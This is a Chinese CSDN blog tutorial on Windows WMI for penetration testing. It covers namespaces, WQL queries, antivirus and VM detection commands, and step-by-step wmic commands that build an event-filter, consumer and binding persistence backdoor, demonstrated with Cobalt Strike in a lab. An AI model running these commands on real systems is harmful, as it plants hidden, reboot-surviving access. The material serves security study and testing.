wmi 硬盘序列号_渗透测试实战之WMI持久化记录

本文详细介绍了Windows Management Instrumentation (WMI)的核心功能,包括命名空间、常用类和方法,以及如何使用WMI进行系统信息查询。此外,还探讨了WMI在持久化控制和安全事件检测中的作用,提供了WMI查询语言WQL的示例,并展示了如何利用WMI创建事件订阅以实现持久化。最后,文章通过环境测试演示了WMI在实际攻防中的应用。
摘要由CSDN通过智能技术生成

0x00 背景

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机,WMI 采用统一的、基于标准的、可扩展的面向对象接口,可以直接调用 WMI 接口来检索性能数据,管理事件日志、文件系统、打印机、进程、注册表设置、计划程序、安全性、服务、共享以及很多其他的操作系统组件和配置设置,使系统开发者可以与 Windows 管理信息进行交互,自从 WMI 被 Stuxnet 用于持久化控制后,越来越多的安全研究人员开始关注 WMI 技术。此后,攻击者同样开始关注 WMI 技术,他们使用这种技术来侦探系统环境、检测反病毒软件和虚拟机环境、执行代码、持久化控制、窃取数据等。

0x01 WMI 命名空间

WMI 引入了命名空间的概念。命名空间是为了把一些类和类的实例更好地管理而定义的把这些类和实体集合起来的一个团体。命名空间可以相互联系和组织成一个具有任意层次的由类和类的实例构成的网状结构。在同一个层次的情况下,命名空间必须具有互异的名称。

WMI 主要有以下几种命名空间:

WMI 包括两个组件:含有 WMI 核心的 WMI 服务和 WMI 存储库。WMI 存储库是由 WMI 命名空间组织的。在系统启动时,WMI 服务会创建如 root\default、root\cimv2 和 root\subscription 等 WMI 命名空间,同时会预安装一部分 WMI 类的定义信息到这些命名空间中,例如 Win32 类。

  1. root\default:与 Windows 注册表操作有关的主机类,可以读取、写入、枚举、监视、创建、删除注册表项和值。

  2. root\cimv32:包含从 CIM 存储库派生的类,提供关于计算机、磁盘、外围设备、文件、文件夹、文件系统、网络组件、操作系统、打印机、进程、安全性、服务、共享、SAM  用户及组等 Win32 信息资源。

  3. root\Security:用于与 Windows 安全有关的类。

  4. root\WMI:提供对  WDM  设备驱动程序中信息访问的类。

分类

WMI 接口 

命名空间 

类 

属性/方法 

制造商 

Root/cimv2

Win32_Computer

System

属性:Manufacturer(制造商)、 Model(型号)

CPU 

Root/cimv2

Win32_Processor 

属性:Name(CPU 基本情况) Manufacturer(制造商)、 ExtClock(外部时钟频率)、 L2CacheSize(二级缓存大小)

内存

Root/cimv2

Win32_Computer

System

属性:TotalPhysicalMemory(内存大小) 

硬盘 

Root/cimv2

Win32_DiskDrive

属性:InterfaceType(类型)、 Size(容量)、Signature(序列号)

Win32_LogicalDisk

属性:DeviceID(驱动器名称)、Size(盘容量)、FileSystem(文件系统格式)

网卡 

Root/cimv2

Win32_Network Adapter

属性:Name(型号)、Manufacturer(制造商)、NetConnectionID(网络连接名称)

打印机 

Root/cimv2

Win32_Printer

属性:Name(名称)、Default(是否默认打印机)、PrintStatus(打印机状态)

主机名、域名、

工作组名

Root/cimv2

Win32_Computer

System

属性:Name(主机名)、Domain(域名)、Workgroup(工作组名)

应用软件

查询

Root/cimv2

StdRegProv

方法:

REG_SZ:GetString Value

REG_BINARY:GetBinary Value

REG_DOWRK:GetDWORD value

REG_MULTI_SZ:GetMultiString Value

杀毒软件

Root\SecurityCenter2

AntiVirusProduct 

属性:DisplayName(名称) VersionNumber(版本) 

防火墙

Root\SecurityCenter

FirewallProduct 

属性:DisplayName(名称) VersionNumber(版本) 

账户信息

Root/ cimv2

Win32_UserAccount

属性:Name(名称)、Disabled(是否停用)、Lockout(是否锁定)、PasswordExpires(密码是否永不过期)

信息查询 

Root/ cimv2

Win32_Process 

属性:Name(进程名称)、 ProcessID(PID)、ExecutablePath(执行文件路径)

0x02 WMI 查询

WMI 提供了一种查询语言 WQL,可以查询 WMI 任何托管资源。WQL 是 ANSI SQL 的一个子集,与 SQL 语言相似,但它只能用于数据提取,不能创建、修改和删除类或实例。

服务查询

SELECT * from Win32_Service

31b39d9904984a631be55eefece71dc2.png

共享查询

SELECT * from Win32_Share

9c88510d038905a22bb0e68857a39d3a.png

进程查询

SELECT * from Win32_Process

16e6fb83111fe33aa7d03061f5fed779.png

用户查询

8f858fa70c131bf149bab069ea88b9fb.png

0x03 WMI 常用命令

杀毒软件检测

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

15cf58d00e2ef6c9f10bdef6f1a6b872.png

虚拟机检测

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem GET NumberOfLogicalProcessors,TotalPhysicalMemory /FORMAT:list

f2f763d1219025137d4791629af5865a.png

查询补丁信息

wmic qfe get Caption,Description,HotFixID,InstalledOn

f153c7733dc9eb065913a0e26ef2f5b0.png

0x04 持久化原理

WMI 包含一个事件机制,用来通知 WMI 数据和服务的变化。当特定的事件发生时,WMI 事件类就会提供通知。当有类的实例创建,删除或修改时,就会触发事件类,常见的事件类如下:

    _InstanceModificationEvent

    _ClassCreationEvent

    _ClassDeletionEvent

    _ClassModificationEvent

    _NamespaceCreationEvent

    _NamespaceDeletionEvent

    _NamespaceModificationevent

    _Instance Creation Event

    _Instance Deletion Event

事件类的名字代表着它们发生变化的类型。WMI 可以直接检测到静态数据的变化,例如那些保存在 CIM 存储库中的类,实例或属性。如果是动态数据,WMI 则通过事件订阅的方式检测其变化。在这两种情况下,WMI 一旦检测到变化,将会查看该变化是否被用户订阅,若有则通知用户。

WMI 事件筛选器用于执行WQL事件查询。

SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'

CommandLineEventConsumer 类是 WMI 提供的标准事件使用者之一,在CommandLineEventConsumer 类中可以设置 ExecutablePath 等属性,执行所需的可执行文件,如下所示:

instance of CommandLineEventConsumer{  ExecutablePath = "C:\\windows\\system32\\cscript.exe";  CommandLineTemplate = "C:\\windows\\system32\\cscript.exe"    "C:\\scripts\\MyScript.js param1 param2";};

创建消费者绑定筛选器实例,就是将筛选器实例和消费者实例绑定,然后 WMI 将根据筛选器匹配的事件转发到使用者。

class __FilterToConsumerBinding : __IndicationRelated{  __EventConsumer REF Consumer;  uint8               CreatorSID[];  boolean             DeliverSynchronously = False;  uint32              DeliveryQoS;  __EventFilter   REF Filter;  boolean             MaintainSecurityContext = False;  boolean             SlowDownProviders = False;};

创建过滤器事件

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="c4", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

87745f8a26498e60b1f0408e4ae8fa0f.png

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list

93163250860369eb7dd8ea0c4d0ab49d.png

创建使用者事件

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="c4", ExecutablePath="C:\TEMP\demo.exe",CommandLineTemplate="C:\TEMP\demo.exe"

94049272dc05ae62e45ad8c908e87ae4.png

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list

8e59ed5c6636fd4f7dead2f0cedd42fe.png

绑定过滤器和使用者

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"c4\"", Consumer="CommandLineEventConsumer.Name=\"c4\""

730235bd2dc0aec594653c7ec4f3e19b.png

成功上线

8b5d7106a957501bf0c56758f173505a.png

f13a494a1cdad2a4474e0e31f282ee86.png

0x05 环境测试

演示环境:Windows 10 专业版

测试机地址:192.168.3.156

Cobalt Strike 地址:192.168.3.152

植入后门

b77d4964e40e7c4d74120377bca909f2.png

重启上线

817a8a82e88db3c0a3e74e5742d3e29a.png

参考

https://docs.microsoft.com/en-us/windows/win32/wmisdk/commandlineeventconsumer

http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html

https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

https://www.anquanke.com/post/id/88851

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值